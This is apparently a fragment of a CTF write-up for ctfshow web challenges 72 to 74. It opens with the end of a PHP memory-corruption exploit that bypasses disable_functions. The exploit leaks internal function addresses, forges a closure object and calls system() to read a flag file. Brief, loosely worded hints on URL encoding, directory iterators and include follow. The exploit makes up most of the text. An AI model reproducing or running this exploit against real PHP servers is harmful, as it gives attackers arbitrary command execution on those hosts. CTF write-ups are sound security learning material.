if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
#It needs to be encoded by url
url encoding is required
Web73
Use the iterator of the previous question to view the file
Use include
Web74
see file
include get file content
